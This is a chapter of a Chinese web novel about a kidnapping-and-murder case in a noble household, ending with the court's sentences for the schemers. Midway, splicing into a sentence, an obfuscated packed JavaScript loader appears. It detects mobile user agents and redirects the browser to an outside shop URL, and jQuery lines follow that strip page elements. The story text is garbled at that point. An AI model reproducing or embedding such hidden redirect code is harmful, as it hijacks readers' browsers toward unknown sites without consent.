这几日不知是不是吃药的缘故,温始华总是睡得不踏实,夜里烦躁多梦,那席宝蓝色的裙子总在她梦里出现。
今早温始华服了药,头正昏沉着,青枝正劝她再去床上睡会儿。
婢女采菊便连滚带爬地冲进来,脸色惨白如纸,嘴唇哆嗦着几乎不成句:“三……三姑娘……大理寺来人了!他们说表少爷没了!还要带走大姑娘!”
采菊是风起阁里负责扫撒的小婢女,今日人手不够,青枝叫她将姑娘的药碗送回厨房,结果在路上听闻了这件大事。
温始华大惊,匆忙间从床上起来一个趔趄,青枝忙上前扶住她:“你说什么?卫……表哥没了?”
采菊:“奴婢是这么听见的,说是有樵夫去报案,在山上发现了尸体,公主府的人已去京兆府辨认了,就是表少爷!”
温始华只觉得耳中嗡嗡作响,什么都听不进去了。
卫肃宁死了?
卫肃宁怎么会死呢?
他和温鸣庚不是幕后之人吗?他怎么会死?
在温始华看来她不过是自保反击,即便卫肃宁替代她被掳走,也是没有危险的。
就算退一万步,他是温鸣庚的帮凶,温鸣庚也不应该会对他下手啊?
温始华赤脚站在地上,心绪繁杂,突然大跨步就要往前厅走。
身旁伺候的婢女们下了一跳,青枝急忙拦住自家小姐,蹲下身拿鞋子:“鞋!您没穿鞋!”
明月也是急忙取下披风跟着温始华身后快步走,一面为她系上披风。
温国公府的前厅里俨然已经乱成一锅粥。
大理寺来了四个人,领头的是个穿绯色官袍的中年人,面容方正,身后跟着三名皂衣差役,腰间悬着横刀。
其中一人手里捧着一卷公文,封口处盖着刑部朱印。
温母端坐在主位,下方那绯袍官员正在说话:“……回避,现已由刑部、都察院、大理寺三司会审共理此案,改由刑部周侍郎主理。”
“这是这是刑部亲批的行文,还请令嫒随下官至大理寺。”随着那绯袍官员话音一落,捧着公文的下属识趣的奉上手中的文书。
温母看也不看那文书,一口回绝:“我女儿哪里也不去。”
绯袍官员额角沁了汗:“国公夫人,您这不是为难……”
“拿我女儿之前,你们可查清了证据?可拿到了证词?可是抓到了那伙贼人?”温母站起来,气势稳稳压过对面的绯袍官员,“贼人逍遥法外不抓,反而弄了什么文书要带走我女孩儿,不可能!”
“夫人可知,目下春阳大长公主与卫大将军,正在大理寺内。”绯袍官员立在厅中,未被温母气势所慑,反而不紧不慢地朝温母拱了拱手。
得知父母知情,温母傲人的气势先衰落了一半。
温父从外面大步走来,与绯袍官员互相见礼,同时嘱咐身边下人:“去把阿鸣带上来。”
“不!”温母惊声,“你疯了,阿鸣今日若是被大理寺带走,她的名声还要不要?”
温父沉默了一瞬,对着碍于夫人脸色,迟疑在旁的下人道:“还不快去。”
“阿鸣若清白无疑,配合查问便是最快的脱身之法。”温父的面上还是一如既往,脊背挺立如松,“她若不清白——”
温父的声音放的很轻,轻的只有与他近在咫尺的妻子听得见:“你能把她关在祠堂一辈子吗?”
温母看着丈夫暗含悲痛的眼色,明白了大理寺定是查出了什么关键信息。
所以丈夫才会回避,大理寺才会突然上门拿人。
可明明,她已经尽力扫尾了,那拿了定金的贼人早早便聪明的跑路不见踪影。
温母颤抖着张了张嘴,到底没再说出一个字。
管家带着温鸣庚穿过回廊,来到前厅。
温始华望着自事发后便再没见过的温鸣庚,如行尸体般向自己走来,她平日里保养的极好的乌发也失去了光泽,两侧脸颊甚至瘦得微微凹陷。
经过门外的温始华时,温鸣庚停住了往前的脚步,她嘴唇翕动着想要对温始华说些什么,却又放弃了。
还能说什么呢?
卫肃宁死了。
听到管家带来这个消息,那些发现事情脱离自己掌控的慌乱、日夜悬着的不安终于在她心里落了地。
像是已经得知自己死期的刑徒,温鸣庚平静如同一潭死水,没有过多的言语。
她平静地拜别父母,平静地跟着大理寺的人走出了温国公府。
温鸣庚五岁时踏进温国公府的大门,从此人生发生了翻天覆地的变化。
如今她十八岁踏出温国公府的大门,往后的人生,大概也是翻天覆地吧。
……
有了温鸣庚的交代,事件推进的飞快。
大理寺去广宁侯府拿赵玮时,听说闹得翻天覆地。
青枝与明月手舞足蹈地,给温始华表演大理寺在广宁侯府抓人的场景,讲一句,觑一眼自家小姐的神色。
其实她们哪里知道真是过程,不过是按想象中的样子,故意表演的夸张滑稽。
温始华知她们有心逗自己开心,勉强笑了笑,将手中的药碗放下要睡下:“好了,你们两守着我也够久了,都出去歇着吧,让我也歇一下。”
青枝与明月对视一眼,皆是忧心忡忡,给温始华放好床幔,捧着托盘退下了。
“这可怎么办啊?”青枝一脸忧愁。
自从那日得知表少爷死了,大小姐被带走后,小姐又是连着几日发高烧,日日梦魇。
药是喝的一天比一天多,人是一日比一日瘦。
夫人这两日也病倒了,府上五个正经主子,一下子倒了三。
宫中的老御医都快在温国公府安家了。
“这几日我去大厨房,满满都是药味。”明月也是忧愁,自家的小姐身体从小到大倍儿棒,结果一病倒就连着倒倒倒,“也不知道什么时候是个头?”
老人家说病来如山倒,病去如抽丝果然是有道理的。
小厨房煎药,大厨房烹药膳,她们这些丫鬟这几日吃的东西都不免带上了药味,也是随着主子矜贵了一番。
温父碍于血缘关系,虽回避了这件案子,却日日值守衙下,投身于工作不知疲倦。
他不知如何回府面对妻子,也不知如何面对小女儿。
他不知自己和妻子,为什么会养出反目成仇的儿女?
大女儿的狠毒让他心惊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865840|212190||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小女儿的果决反击也令他侧目。
这场起于三月三的案件,终于在三月十七这日落下了帷幕。
被抓捕的林日供出了事件的来龙去脉。
他总共收了四回钱。
第一回,是妹妹林月,也就是赵玮身边的婢女小桃,奉赵玮的命令,带来了要他抓走温国公府的大小姐的要求。
林日好赌,经常被赌场的人追债上门,威胁再不还钱就剁了他手脚,林日当即就应下了赵玮的要求。
第二回,哪里走漏了风声,几个一看就是大户人家的侍从堵了他,狠狠给了林日一通教训。
林日被揍得哭爹喊娘,决定带着赵玮的定金跑路,结果那几个侍从要他改抓温国公府的三小姐,但是不能伤了她。
他想着吃完两家定金再跑路,也行。
第三回,又不知谁家,上来就直接命令要他抓走三小姐后杀了她。
这回给的银子最多,他这辈子都没见过这么多银子,林日一咬牙,也接了。
第四回来的人与第二回的人一样,带来了雇主的新要求,要他抓了三小姐后,毁了她清白。
也是这一次的人给他带来了一块布料,要他一定按着这块布料去抓人。
他就说嘛,每回雇主都直接给他报个目标的身份,他这平头百姓,就算要动手,也不知道高门大户里的闺阁小姐长啥样。
还是这回这个雇主细心。
林日接了三回,哪里还怕这一回,又应下了。
这么多定金,哪怕是他没收到尾款也值了!
但是他还是稍微有那么点道德,将每位东家的要求都干了一点。
他又不打算收尾款喽,只收了个定金,收多少钱干多少活嘛不是!
谁知抓了个男的!
他请来的山匪可荤素不忌,林日性向正常,不想参与,分了钱便匆匆带着准别好的细软逃了。
谁知那群山匪那么蠢,事后居然把人真杀了!
杀了就算了,抛尸还抛的这么没有水准,白白连累了他。
这场案件轰动了京城,受到了前所未后的关注度,上到圣上太后,下到平民百姓。
圣上特下口令,此案情节恶劣,必须速破,昭告天下,平定民心。
这头是大长公主与卫将军、那头是温国公府,后来把贵妃的侄女——广宁侯府的大小姐赵玮也扯进来,作为三司联名主审的季九和头都要大了。
最终林日及其余受他雇佣的八名山匪判了绞刑。
温鸣庚雇凶劫持亲妹以毁清白,属“略人”之罪,且以亲属相犯,合“不睦”之条,念其积极配合,合“犯重而告轻者,减一等”,流三千里。
卫肃宁雇凶杀未婚妻温始华,系谋杀造意首犯,应判斩,但其已在案发中丧命,故不再另行行刑。
赵玮雇凶劫掠朝官之女温鸣庚,虽未亲手加害,然谋略已行,罪在“略人”,刑当“流三千里”。
小桃为赵玮联络络匪徒,谋杀从犯,念其事后向受害者通风报信,有悔过及救助之举,依律可减一等,判徒三年。
温始华,系受牵连之无辜者,且协助查案有功,不予追究。
那一天晚上,三府里哭晕过去不知几人。